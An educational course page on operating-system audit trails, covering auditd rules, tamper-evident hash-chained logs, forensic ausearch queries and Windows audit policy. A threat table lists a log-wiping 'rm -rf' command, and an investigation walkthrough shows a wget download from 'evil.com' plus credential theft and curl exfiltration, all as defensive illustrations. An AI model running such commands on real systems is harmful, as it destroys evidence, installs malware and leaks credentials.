Audit Trails - Auditing and Logging | OneNoughtOne

0/236

Operating SystemsAuditing and Logging

Auditing and Logging

LevelIntermediate

Duration90 mins

TopicAuditing and Logging

1 / 5

Audit Trails

The Silent Witness to Every Action

In December 2020, the world discovered the SolarWinds supply chain attack—one of the most sophisticated cyber intrusions in history. The attackers had been inside thousands of networks for over nine months, including Microsoft, multiple U.S. government agencies, and Fortune 500 companies. How was this discovered? Through meticulous analysis of audit trails. Security researchers noticed anomalies in authentication logs that didn't match expected patterns, leading to the unraveling of the entire attack.

Audit trails are the silent witnesses to every action in a computing system. They record who did what, when, from where, and with what result. Without them, security breaches go undetected, forensic investigations become impossible, and regulatory compliance fails. Yet despite their critical importance, audit trails are often an afterthought—enabled by default, rarely reviewed, and poorly understood.

This page will transform your understanding of audit trails from a checkbox compliance item to a strategic security asset that enables detection, investigation, attribution, and defense.

What You Will Learn

By the end of this page, you will understand: (1) The fundamental architecture and components of audit trail systems, (2) What events to audit and at what granularity, (3) How to protect audit trails from tampering, (4) The relationship between audit trails and forensic investigation, (5) Design principles for building effective audit infrastructure, and (6) Real-world implementation strategies across major operating systems.

Understanding Audit Trails

An audit trail (also called an audit log or security audit) is a chronological record of system activities that provides documentary evidence of the sequence of activities affecting a specific operation, procedure, or event. In the context of operating systems and security, audit trails capture security-relevant events to enable:

Accountability: Tying actions to specific users or processes
Reconstruction: Recreating the sequence of events that led to a particular state
Detection: Identifying suspicious or unauthorized activities
Deterrence: Discouraging malicious behavior through awareness of monitoring
Compliance: Meeting regulatory and legal requirements for record-keeping

The Anatomy of an Audit Event

Every audit event, regardless of the system generating it, must answer the five Ws:

The Five Ws of Audit Events
Question	Audit Field	Example	Security Significance
Who	Subject/Principal	User 'jsmith', UID 1001	Enables accountability and attribution
What	Action/Event Type	File read, login attempt, privilege escalation	Defines the nature of the activity
When	Timestamp	2024-01-15T14:32:47.123456Z	Enables timeline reconstruction
Where	Source/Location	IP 192.168.1.50, terminal pts/2	Identifies origin of action
Result	Outcome	Success, failure, denied	Indicates whether action succeeded

Beyond the Five Ws: Extended Context

Modern audit systems capture additional context that dramatically improves forensic value:

Extended Audit Context

•Object/Target — The resource being accessed (file path, network port, system call)
•Parent Context — The process hierarchy (parent PID, session ID, process group)
•Effective Credentials — Actual permissions used (effective UID, group memberships)
•Security Labels — Mandatory access control contexts (SELinux labels, integrity levels)
•Sequence Numbers — Monotonic counters to detect log gaps or tampering
•Hash/Checksum — Integrity verification for the event record itself

The Signal-to-Noise Challenge

A production server might generate hundreds of thousands of audit events per day. The art of effective auditing lies in capturing enough detail for forensic value while avoiding drowning in noise. Too little auditing means missing critical events; too much means the important events are buried in the flood. This balance is the central tension in audit trail design.

Audit Trail Architecture

Effective audit trail systems are not simple log files—they are complex architectures designed for reliability, tamper-resistance, and high performance. Let's examine the key architectural components:

Event Generation Layer

Audit events originate from multiple sources within the operating system:

Sources of Audit Events
Source	Events Generated	OS Component
Kernel	System calls, module loading, capability changes	Linux audit subsystem, Windows ETW
Authentication	Login attempts, password changes, session events	PAM, LSASS, Kerberos
Authorization	Access decisions, permission checks	SELinux, AppArmor, Windows ACL engine
File System	File operations, permission changes	FS audit triggers, inotify, ETW providers
Network	Connection events, firewall decisions	Netfilter, Windows Firewall, IPsec
Applications	Application-specific events	Syslog, Windows Event Log, journald

Event Processing Pipeline

Once generated, audit events flow through a processing pipeline designed for reliability:

Converting Mermaid diagram...

Critical Design Considerations:

1. Kernel Buffer (Ring Buffer)

Events are first captured in a kernel-space ring buffer. This buffer must be properly sized to prevent event loss during bursts:

Too small: Events are lost during high-activity periods (security blind spots)
Too large: Memory overhead impacts system performance
Best practice: Size based on peak event rate × acceptable delay before userspace reads

2. Audit Daemon

The userspace daemon (auditd on Linux, Windows Event Log service) reads events from the kernel and handles:

Writing to persistent storage
Forwarding to remote collectors
Applying filters and aggregation
Managing log rotation and retention

3. Failure Modes

What happens when the audit system cannot keep up or storage fills? This is a critical security decision:

Failure Mode Options

•Ignore — Continue operation, drop audit events (most permissive, least secure)
•Syslog — Log the failure to alternate channel, continue operation
•Suspend — Halt the failing operation until audit can proceed
•Halt — Stop the entire system (most secure, guaranteed audit)
•Single-user — Enter maintenance mode requiring administrator intervention

High-Security Environments

In environments requiring strong security guarantees (banking, government classified systems), systems are configured to HALT rather than continue without auditing. This prevents attackers from disabling audit systems by filling disks or causing buffer overflows. The principle: Better to stop than to operate blind.

auditd.conf
Linux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Linux auditd configuration for high-security environment
# /etc/audit/auditd.conf
 
# Log file configuration
log_file = /var/log/audit/audit.log
log_format = ENRICHED
log_group = root
 
# Buffer configuration for high-throughput
num_logs = 10
max_log_file = 50
max_log_file_action = ROTATE
 
# Critical: What to do when disk space is low
space_left = 75
space_left_action = email
 
admin_space_left = 50
admin_space_left_action = single
 
disk_full_action = HALT
disk_error_action = HALT
 
# Critical: What to do when audit fails
flush = INCREMENTAL_ASYNC
freq = 50
name_format = HOSTNAME
 
# Failure mode: halt system if audit cannot function
disp_qos = lossy
dispatcher = /sbin/audispd
 
# For high-security: require name resolution
name = myserver.example.com
 
# Enable integrity support
verify_email = yes
action_mail_acct = security@example.com

What to Audit: Event Selection

Determining what to audit is a strategic decision that balances security visibility against performance and storage costs. Different regulatory frameworks and threat models demand different audit coverage.

Audit Categories by Criticality

Not all events carry equal forensic or security value. Here's a tiered approach:

Audit Event Priority Tiers
Tier	Category	Events	Rationale
CRITICAL	Authentication	All login attempts (success/failure), sudo/su usage, authentication failures	First line of attack detection, credential abuse
CRITICAL	Authorization Failures	Permission denied events, capability checks, SELinux denials	Active attack indicators, misconfigurations
CRITICAL	System Integrity	Kernel module loads, mount operations, firmware changes	Rootkit detection, persistent threats
HIGH	Privileged Operations	Root/admin commands, security policy changes, user management	Insider threats, privilege abuse
HIGH	Network Configuration	Firewall changes, route modifications, interface changes	Lateral movement, data exfiltration setup
MEDIUM	File System (Sensitive)	Access to /etc/passwd, /etc/shadow, cryptographic keys	Data theft, credential harvesting
MEDIUM	Process Execution	exec() calls, script interpreters, suspicious binaries	Malware execution, attack progression
LOW	File System (General)	All file operations	Forensic completeness (high volume)
LOW	Network Traffic	All connections	Forensic completeness (very high volume)

Minimum Audit Requirements by Standard

Various security frameworks mandate specific audit requirements:

Audit Requirements by Compliance Framework
Framework	Key Audit Requirements	Retention
PCI DSS	All access to cardholder data, all admin actions, failed logins, audit log access	1 year (3 months online)
HIPAA	Access to PHI, authentication events, security incidents, audit log integrity	6 years
SOX	Financial data access, privileged user actions, system changes	7 years
NIST 800-53	All AU-* controls, including AU-2 (auditable events), AU-12 (audit generation)	Defined by org policy
GDPR	Personal data access, consent records, data subject requests	Varies by purpose

Linux Audit Rules: Practical Examples

The Linux audit subsystem uses rules to specify what events to capture. Here are production-ready examples:

audit.rules
Linux Audit Rules
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# /etc/audit/rules.d/security.rules
# Comprehensive security audit ruleset
 
# First rule: delete all existing rules
-D
 
# Set buffer size (based on expected event volume)
-b 8192
 
# Failure mode: halt system if audit fails (for high-security)
-f 2
 
# ================================================
# CRITICAL: Authentication and Identity
# ================================================
 
# Track all login files
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/gshadow -p wa -k identity
-w /etc/security/opasswd -p wa -k identity
 
# Track PAM configuration
-w /etc/pam.d/ -p wa -k pam
-w /etc/security/ -p wa -k pam
 
# Track sudo configuration
-w /etc/sudoers -p wa -k sudo
-w /etc/sudoers.d/ -p wa -k sudo
 
# ================================================
# CRITICAL: Authentication events  
# ================================================
 
# Login/logout events
-w /var/log/lastlog -p wa -k logins
-w /var/run/faillock/ -p wa -k logins
-w /var/log/tallylog -p wa -k logins
 
# ================================================
# CRITICAL: System call monitoring
# ================================================
 
# Capture all execve calls (process execution)
-a always,exit -F arch=b64 -S execve -k exec
-a always,exit -F arch=b32 -S execve -k exec
 
# Capture privilege escalation attempts
-a always,exit -F arch=b64 -S setuid -S setgid -S setreuid -S setregid -k privilege_escalation
-a always,exit -F arch=b32 -S setuid -S setgid -S setreuid32 -S setregid32 -k privilege_escalation
 
# Capture kernel module operations
-a always,exit -F arch=b64 -S init_module -S delete_module -S finit_module -k modules
-a always,exit -F arch=b32 -S init_module -S delete_module -S finit_module -k modules
 
# Capture mount operations
-a always,exit -F arch=b64 -S mount -S umount2 -k mounts
-a always,exit -F arch=b32 -S mount -S umount -S umount2 -k mounts
 
# Capture time changes (anti-forensics indicator)
-a always,exit -F arch=b64 -S adjtimex -S settimeofday -S clock_settime -k time_change
-a always,exit -F arch=b32 -S adjtimex -S settimeofday -S clock_settime -k time_change
 
# ================================================
# HIGH: Network configuration changes
# ================================================
 
-w /etc/hosts -p wa -k network_config
-w /etc/network/ -p wa -k network_config
-w /etc/sysconfig/network -p wa -k network_config
-w /etc/sysconfig/network-scripts/ -p wa -k network_config
 
# ================================================
# HIGH: Cron and scheduled tasks
# ================================================
 
-w /etc/cron.d/ -p wa -k cron
-w /etc/cron.daily/ -p wa -k cron
-w /etc/cron.hourly/ -p wa -k cron
-w /etc/cron.monthly/ -p wa -k cron
-w /etc/cron.weekly/ -p wa -k cron
-w /etc/crontab -p wa -k cron
-w /var/spool/cron/ -p wa -k cron
 
# ================================================
# HIGH: SSH configuration
# ================================================
 
-w /etc/ssh/sshd_config -p wa -k sshd_config
-w /root/.ssh/ -p wa -k ssh_keys
 
# ================================================
# MEDIUM: Sensitive file access
# ================================================
 
# Private key access
-a always,exit -F arch=b64 -S open -S openat -F exit=-EACCES -k access_denied
-a always,exit -F arch=b64 -S open -S openat -F exit=-EPERM -k access_denied
 
# Make the configuration immutable (require reboot to modify)
-e 2

The '-e 2' Immutability Flag

The final rule '-e 2' makes the audit configuration immutable until the next reboot. This prevents attackers who gain root access from silently disabling auditing. Any attempt to modify audit rules will fail, and the attempt itself is logged. This is a critical hardening measure for production systems.

Protecting Audit Trail Integrity

A sophisticated attacker who gains system access will often attempt to cover their tracks by modifying or deleting audit logs. Protecting audit trail integrity is therefore a critical security requirement. The principle is simple: audit logs must be at least as protected as the systems they monitor.

Threat Model for Audit Systems

Understanding how attackers target audit systems helps design appropriate defenses:

Audit Trail Attack Vectors
Attack	Description	Mitigation
Log Deletion	rm -rf /var/log/audit/*	Append-only storage, remote logging, immutable attributes
Log Modification	Edit log entries to remove evidence	Cryptographic signing, hash chains, WORM storage
Audit Disabling	Stop auditd, modify rules	Immutable rules (-e 2), process monitoring, kernel lockdown
Timestamp Manipulation	Change system time to confuse timeline	NTP monitoring, timestamping services, relative ordering
Buffer Overflow	Generate excessive events to lose data	Remote logging, disk quotas, separate partitions
Interception	Stop logs before reaching storage	Kernel-level guarantees, TPM attestation

Defense in Depth for Audit Integrity

1. Cryptographic Signing

Each audit record or batch can be cryptographically signed to detect tampering:

signed-audit-concept.py
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#!/usr/bin/env python3
"""
Conceptual implementation of cryptographically signed audit logs
with hash chaining for tamper detection.
"""
 
import hashlib
import hmac
import json
import time
from dataclasses import dataclass
from typing import Optional
 
@dataclass
class AuditRecord:
    sequence_number: int          # Monotonic counter
    timestamp: float              # Unix timestamp with microseconds
    event_type: str               # Category of event
    subject: str                  # Who performed the action
    action: str                   # What was done
    object: str                   # Target of the action
    result: str                   # Success/failure
    previous_hash: str            # Hash of previous record (chain)
    signature: Optional[str] = None  # HMAC signature
 
class SignedAuditLog:
    def __init__(self, signing_key: bytes):
        """
        Initialize audit log with signing key.
        In production, this key would be stored in HSM or TPM.
        """
        self.signing_key = signing_key
        self.records: list[AuditRecord] = []
        self.sequence = 0
        self.previous_hash = "GENESIS"  # Initial chain value
    
    def _compute_record_hash(self, record: AuditRecord) -> str:
        """Compute hash of record for chaining."""
        data = (
            f"{record.sequence_number}|{record.timestamp}|"
            f"{record.event_type}|{record.subject}|{record.action}|"
            f"{record.object}|{record.result}|{record.previous_hash}"
        )
        return hashlib.sha256(data.encode()).hexdigest()
    
    def _sign_record(self, record_hash: str) -> str:
        """Sign record hash with HMAC-SHA256."""
        return hmac.new(
            self.signing_key,
            record_hash.encode(),
            hashlib.sha256
        ).hexdigest()
    
    def append(self, event_type: str, subject: str, action: str,
               object: str, result: str) -> AuditRecord:
        """
        Append a new audit record with cryptographic integrity.
        """
        self.sequence += 1
        
        record = AuditRecord(
            sequence_number=self.sequence,
            timestamp=time.time(),
            event_type=event_type,
            subject=subject,
            action=action,
            object=object,
            result=result,
            previous_hash=self.previous_hash
        )
        
        # Compute hash of this record
        record_hash = self._compute_record_hash(record)
        
        # Sign the record
        record.signature = self._sign_record(record_hash)
        
        # Update chain for next record
        self.previous_hash = record_hash
        
        self.records.append(record)
        return record
    
    def verify_chain(self) -> tuple[bool, Optional[int]]:
        """
        Verify entire chain integrity.
        Returns (is_valid, first_tampered_sequence).
        """
        expected_previous = "GENESIS"
        
        for record in self.records:
            # Check chain link
            if record.previous_hash != expected_previous:
                return (False, record.sequence_number)
            
            # Verify signature
            record_hash = self._compute_record_hash(record)
            expected_sig = self._sign_record(record_hash)
            
            if record.signature != expected_sig:
                return (False, record.sequence_number)
            
            expected_previous = record_hash
        
        return (True, None)
    
    def detect_gaps(self) -> list[int]:
        """Detect missing sequence numbers (deletion attempts)."""
        expected = 1
        gaps = []
        
        for record in self.records:
            if record.sequence_number != expected:
                gaps.extend(range(expected, record.sequence_number))
            expected = record.sequence_number + 1
        
        return gaps
 
 
# Example usage
if __name__ == "__main__":
    # In production: key from HSM/TPM
    signing_key = b"super_secret_audit_signing_key_from_hsm"
    
    log = SignedAuditLog(signing_key)
    
    # Record some events
    log.append("AUTH", "jsmith", "LOGIN", "console", "SUCCESS")
    log.append("FILE", "jsmith", "READ", "/etc/passwd", "SUCCESS")
    log.append("AUTH", "attacker", "LOGIN", "ssh:192.168.1.50", "FAILURE")
    log.append("PRIV", "jsmith", "SUDO", "/bin/bash", "SUCCESS")
    
    # Verify integrity
    valid, tampered_at = log.verify_chain()
    print(f"Chain valid: {valid}")
    
    # If someone tampers with a record...
    # log.records[1].action = "WRITE"  # Would break chain
    # valid, tampered_at = log.verify_chain()
    # print(f"Chain valid: {valid}, tampered at: {tampered_at}")

2. Remote Log Shipping

The most effective protection against local tampering is sending logs off the system immediately:

Remote Logging Best Practices

•Real-time forwarding — Ship events as they occur, not in batches
•Encrypted transmission — Use TLS for rsyslog, journald-upload, or specialized agents
•Mutual authentication — Both sender and receiver authenticate (mTLS)
•Separate infrastructure — Log collectors on different network segment, different credentials
•Redundant collectors — Multiple independent destinations to prevent single-point failures
•Local caching — Buffer locally if remote unavailable, then catch up

3. Write-Once Storage

WORM (Write Once Read Many) storage provides hardware-level protection:

•Optical media — Traditional but slow, used for archival
•WORM tapes — LTO tapes with WORM mode enabled
•S3 Object Lock — Cloud storage with compliance mode prevents deletion
•NetApp SnapLock — Enterprise NAS with regulatory compliance features
•Linux immutable attribute — chattr +a (append-only) or +i (immutable)

immutable-logs.sh
Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash
# Configure append-only audit log files
 
# Make existing log append-only
chattr +a /var/log/audit/audit.log
 
# Verify attribute
lsattr /var/log/audit/audit.log
# Output: -----a--------e----- /var/log/audit/audit.log
 
# To rotate logs, must temporarily remove attribute:
# chattr -a /var/log/audit/audit.log
# logrotate -f /etc/logrotate.d/audit
# chattr +a /var/log/audit/audit.log
 
# For compliance: use a dedicated script run by trusted process
# Never give regular admins the ability to run chattr -a on logs

The Root Problem

All local protections fail against an attacker with root access. Even immutable attributes can be removed by root. Even the kernel audit subsystem can be disabled. This is why remote logging to systems with separate administrative credentials is the gold standard for audit integrity in high-security environments.

Forensic Investigation with Audit Trails

When a security incident occurs, audit trails become the primary source of evidence for understanding what happened, when, and by whom. Effective forensic use of audit data requires both proper collection and proper analysis techniques.

The Forensic Timeline

The goal of forensic analysis is to reconstruct a timeline of attacker actions:

Converting Mermaid diagram...

Key Forensic Queries

Here are essential forensic queries using the Linux audit system with ausearch and aureport:

forensic-queries.sh
Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/bin/bash
# Essential forensic queries for incident response
 
# ================================================
# AUTHENTICATION FORENSICS
# ================================================
 
# All failed login attempts in the last 24 hours
ausearch -m USER_LOGIN -sv no -ts recent | aureport -au
 
# All successful logins from a specific IP
ausearch -m USER_LOGIN -sv yes | grep "addr=192.168.1.50"
 
# All su/sudo activity
ausearch -m USER_CMD -ts today | aureport -x --summary
 
# Brute force detection: multiple failed logins
aureport -au --failed | tail -20
 
# ================================================
# PROCESS EXECUTION FORENSICS
# ================================================
 
# All commands executed by a specific user
ausearch -ui 1001 -ts today | aureport -x
 
# Find execution of suspicious tools
ausearch -x /usr/bin/wget -ts week-ago
ausearch -x /usr/bin/curl -ts week-ago
ausearch -x /usr/bin/nc -ts week-ago
ausearch -x /usr/bin/ncat -ts week-ago
 
# Find binaries executed from /tmp (common attack pattern)
ausearch -f /tmp -ts week-ago | grep -E "syscall=.*execve"
 
# ================================================
# FILE ACCESS FORENSICS
# ================================================
 
# All access to sensitive files
ausearch -f /etc/shadow -ts week-ago
ausearch -f /etc/passwd -ts week-ago
 
# File permission changes
ausearch -m ATTR -ts week-ago | grep -E "chmod|chown"
 
# Deleted files (look for unlink syscalls)
ausearch -sc unlink -ts week-ago
 
# ================================================
# PRIVILEGE ESCALATION FORENSICS
# ================================================
 
# Capability changes
ausearch -m CAPSET -ts week-ago
 
# Setuid/setgid calls
ausearch -sc setuid -ts week-ago
ausearch -sc setgid -ts week-ago
 
# SELinux denials (often indicate attack attempts)
ausearch -m AVC -ts week-ago
 
# Kernel module loading
ausearch -m MODULE_LOAD -ts week-ago
 
# ================================================
# TIMELINE GENERATION
# ================================================
 
# Generate full timeline for a specific period
ausearch -ts "01/15/2024" "14:00:00" -te "01/15/2024" "16:00:00" \
    --format csv > incident_timeline.csv
 
# Summary report
aureport --start recent --summary
 
# ================================================
# CORRELATION: Finding related events
# ================================================
 
# Get all events in a specific session
ausearch --session 12345
 
# Get all events by a specific process
ausearch --pid 98765
 
# Get all events for a specific key (from audit rules)
ausearch -k identify
ausearch -k exec
ausearch -k privilege_escalation

Evidence Correlation Example

Let's walk through a realistic forensic scenario. A server was compromised, and we need to understand the attack:

Scenario: Server Compromise Investigation

At 14:32 on January 15, the security team received an alert that the database server 'db-prod-01' was making unusual outbound connections. We need to determine: (1) How did the attacker gain access?, (2) What did they do on the system?, and (3) Did they access any sensitive data?

investigation.sh
Investigation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/bin/bash
# Investigation steps for db-prod-01 compromise
 
# Step 1: Identify the suspicious connection timestamp
# From network logs: Outbound connection at 14:32:15 from PID 45678
 
# Step 2: Find what process that was
ausearch --pid 45678 | head -50
# Results show: /tmp/.hidden/beacon executed by UID 1001 (dbadmin)
 
# Step 3: How did that file get there?
ausearch -f /tmp/.hidden -ts "01/15/2024"
# Results show:
# - 14:28:32: Directory created by UID 1001
# - 14:28:35: File 'beacon' written by UID 1001
# - 14:28:36: chmod to 755 by UID 1001
# - 14:28:40: execve of 'beacon' by UID 1001
 
# Step 4: How did dbadmin get the file? Check for downloads
ausearch -ui 1001 -x curl -ts "01/15/2024"
ausearch -ui 1001 -x wget -ts "01/15/2024"
# Results show:
# - 14:28:30: wget http://evil.com/beacon to /tmp/.hidden/beacon
 
# Step 5: How did dbadmin account get compromised?
ausearch -m USER_LOGIN -ts "01/14/2024" | grep dbadmin
# Results show:
# - Multiple failed logins from 185.220.101.x (Tor exit nodes)
# - Successful login at 14:27:45 from same IP range
 
# Step 6: What else did the attacker do?
ausearch -ui 1001 -ts "01/15/2024" "14:27:45" | aureport -x --summary
# Results show:
# - cat /home/dbadmin/.pgpass (database credentials!)
# - psql commands to dump customer_data table
# - Compressed dump created at /tmp/.hidden/data.gz
# - curl upload to different external host
 
# FINDINGS SUMMARY:
# 1. Initial access: Brute-forced dbadmin SSH credentials
# 2. Actions: Downloaded beacon malware, stole DB credentials
# 3. Data access: Exported customer_data table
# 4. Exfiltration: Uploaded via curl to external server

Preserve Original Evidence

Before analysis, always create forensically-sound copies of audit logs. Use write blockers or read-only mounts. Document chain of custody. Never analyze the only copy—you might need to prove the logs weren't modified during investigation.

Performance Impact and Optimization

Comprehensive auditing comes at a cost. Every audited system call adds overhead, and high-volume audit rules can measurably impact system performance. Understanding and managing this tradeoff is essential for production deployments.

Audit Performance Overhead

Audit Performance Impact by Rule Type
Rule Type	Overhead per Call	Volume Impact	Recommendation
File watch (-w)	Low (~0.1%)	Depends on access frequency	Use for specific files only
System call exit (-a exit)	Medium (~1-5%)	High for frequent syscalls	Filter by user/path when possible
All syscall entry	High (~10%+)	Very high	Avoid in production
execve monitoring	Low-Medium	One per process start	Generally acceptable
Network syscalls	Medium	High on busy servers	Filter by port/address

Optimization Strategies

1. Use Filters to Reduce Volume

Narrow audit rules to specific subjects, objects, or conditions:

optimized-rules.rules
Audit Rules
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# BAD: Audit all file opens (overwhelming volume)
-a always,exit -S open -S openat
 
# GOOD: Audit file opens only for specific directories
-a always,exit -S open -S openat -F dir=/etc -k etc_access
-a always,exit -S open -S openat -F dir=/home -k home_access
 
# GOOD: Audit file opens only outside normal UID range
-a always,exit -S open -S openat -F auid>=1000 -F auid!=4294967295 -k user_file_access
 
# GOOD: Exclude high-volume, low-value events
# Don't audit reads by the backup service account
-a never,exit -F arch=b64 -S read -F auid=999
 
# GOOD: Focus on failures (often more interesting)
-a always,exit -F arch=b64 -S open -F exit=-EACCES -k access_denied
-a always,exit -F arch=b64 -S open -F exit=-EPERM -k access_denied

2. Separate Audit Storage

Keep audit I/O off the main system disk:

•Dedicated partition — Mount /var/log/audit on separate disk/partition
•Fast storage — Use SSD for audit if possible
•Separate I/O scheduler — Configure appropriate scheduler for log workload
•Reserved space — Ensure disk can't fill from other processes

3. Buffer and Flush Tuning

Balance immediate persistence vs. performance:

auditd-performance.conf
Config
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# /etc/audit/auditd.conf - Performance-optimized settings
 
# Increase kernel buffer for high-throughput systems
# Default is 320, which can overflow on busy servers
# Match to expected events/second × acceptable latency
# Example: 5000 events/sec × 0.1 sec latency = 500 buffer
# num_logs: number of log files to rotate through
 
# Asynchronous flush (better performance, slight data loss risk)
flush = INCREMENTAL_ASYNC
freq = 50  # Flush every 50 records
 
# For ultra-high-security (worse performance, no data loss)
# flush = SYNC
 
# Dispatcher queue optimization
disp_qos = lossy  # Don't block kernel if dispatcher slow
 
# Priority settings
priority_boost = 4  # Higher priority for audit daemon

Test Before Production

Always benchmark audit rule changes in a staging environment that mirrors production workload. Enable rules incrementally and measure impact. A seemingly simple rule like 'audit all read() calls' can bring a busy server to its knees.

Audit Trails in Windows

Windows implements security auditing through a sophisticated subsystem that integrates with Active Directory, Group Policy, and the Windows Event Log service. The architecture differs significantly from Unix systems but serves the same fundamental purposes.

Windows Audit Architecture

Windows Security Auditing Components
Component	Role	Key Features
Security Reference Monitor (SRM)	Kernel component generating audit events	Every access check can generate event
Local Security Authority (LSA)	Manages security policy	Determines what to audit
Security Event Log	Stores security events	Dedicated channel, protected access
Event Tracing for Windows (ETW)	High-performance event infrastructure	Low-overhead kernel tracing
Advanced Audit Policy	Fine-grained audit configuration	Subcategory-level control

Configuring Advanced Audit Policies

Windows provides granular audit control through Advanced Audit Policy Configuration:

advanced-audit-policy.ps1

PowerShell

# Configure Windows Advanced Audit Policy for security monitoring
# Run as Administrator
 
# =============================================
# View current audit policy
# =============================================
auditpol /get /category:*
 
# =============================================
# CRITICAL: Logon events
# =============================================
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Logoff" /success:enable
auditpol /set /subcategory:"Account Lockout" /success:enable /failure:enable
auditpol /set /subcategory:"Special Logon" /success:enable  # Admin logins
 
# =============================================
# CRITICAL: Account management
# =============================================
auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
auditpol /set /subcategory:"Security Group Management" /success:enable /failure:enable
auditpol /set /subcategory:"Computer Account Management" /success:enable
 
# =============================================
# HIGH: Privilege use
# =============================================
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable
auditpol /set /subcategory:"Non Sensitive Privilege Use" /failure:enable
 
# =============================================
# HIGH: Policy changes
# =============================================
auditpol /set /subcategory:"Audit Policy Change" /success:enable /failure:enable
auditpol /set /subcategory:"Authentication Policy Change" /success:enable
auditpol /set /subcategory:"Authorization Policy Change" /success:enable
 
# =============================================
# MEDIUM: Object access (requires SACL on objects)
# =============================================
auditpol /set /subcategory:"File System" /success:enable /failure:enable
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
auditpol /set /subcategory:"Kernel Object" /success:enable /failure:enable
auditpol /set /subcategory:"SAM" /success:enable /failure:enable
 
# =============================================
# Process tracking
# =============================================
auditpol /set /subcategory:"Process Creation" /success:enable
auditpol /set /subcategory:"Process Termination" /success:enable
 
# =============================================
# Enable command-line logging for process creation
# (Critical for understanding what attackers ran)
# =============================================
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit"
if (-not (Test-Path $regPath)) {
    New-Item -Path $regPath -Force
}
Set-ItemProperty -Path $regPath -Name "ProcessCreationIncludeCmdLine_Enabled" -Value 1
 
# =============================================
# Configure Security Event Log size and retention
# =============================================
wevtutil sl Security /ms:1073741824  # 1GB max size
wevtutil sl Security /rt:true         # Retain (don't overwrite)

Critical Windows Event IDs

Knowing which Event IDs matter is essential for Windows forensics:

Critical Windows Security Event IDs
Event ID	Category	Description	Investigation Value
4624	Logon	Successful logon	Identify valid access, lateral movement
4625	Logon	Failed logon	Brute force detection, password spraying
4648	Logon	Logon using explicit credentials	Credential abuse, pass-the-hash
4672	Privilege	Special privileges assigned	Admin access, privilege escalation
4688	Process	Process creation	Malware execution, attack tools
4689	Process	Process termination	Process lifecycle analysis
4697	Service	Service installed	Persistence mechanism
4698	Task	Scheduled task created	Persistence mechanism
4720	Account	User account created	Backdoor accounts
4728	Group	Member added to security group	Privilege escalation
4732	Group	Member added to local Administrators	Privilege escalation
5140	Share	Network share accessed	Lateral movement, data access
5145	Share	Share object accessed (detailed)	File-level access on shares

Event ID 4688 is Gold

With command-line logging enabled, Event ID 4688 captures every process execution with full command-line arguments. This single event type can reveal the vast majority of attacker activity—malware execution, PowerShell attacks, credential dumping tools, and more. It's often called the 'must-have' event for Windows security monitoring.

Summary: Audit Trails

Audit trails are the foundation of security accountability, forensic investigation, and compliance verification. Let's consolidate the key concepts:

Key Takeaways

•Audit events must answer the Five Ws — Who performed the action, what was done, when it occurred, where (from which location/system), and what was the result.
•Architecture matters — Effective audit systems use kernel buffers, userspace daemons, and careful failure mode handling to ensure reliable capture.
•Selective auditing is essential — Audit critical events (authentication, authorization failures, privilege escalation) heavily; be selective about high-volume events.
•Integrity protection is non-negotiable — Use remote logging, cryptographic signing, hash chains, and write-once storage to prevent tampering.
•Audit trails enable forensics — The ability to reconstruct attack timelines, identify initial access vectors, and determine data exposure depends on comprehensive, intact logs.
•Performance requires thoughtful configuration — Use filters, dedicated storage, and appropriate buffer settings to balance security with system performance.
•Both Linux and Windows have mature systems — Linux auditd with rules, Windows Advanced Audit Policy—both require proper configuration for effectiveness.

What's Next:

With a solid understanding of audit trails and event generation, we now turn to log management—the systems and practices for collecting, storing, processing, and retaining the massive volumes of audit data that modern infrastructure generates.

Page Complete

You now have a deep understanding of audit trail architecture, configuration, protection, and forensic usage. These concepts form the foundation for all subsequent topics in security auditing and logging.

Operating SystemsAuditing and Logging

Auditing and Logging

LevelIntermediate

Duration90 mins

TopicAuditing and Logging

1 / 5

Audit Trails

The Silent Witness to Every Action

This page will transform your understanding of audit trails from a checkbox compliance item to a strategic security asset that enables detection, investigation, attribution, and defense.

What You Will Learn

Understanding Audit Trails

Accountability: Tying actions to specific users or processes
Reconstruction: Recreating the sequence of events that led to a particular state
Detection: Identifying suspicious or unauthorized activities
Deterrence: Discouraging malicious behavior through awareness of monitoring
Compliance: Meeting regulatory and legal requirements for record-keeping

The Anatomy of an Audit Event

Every audit event, regardless of the system generating it, must answer the five Ws:

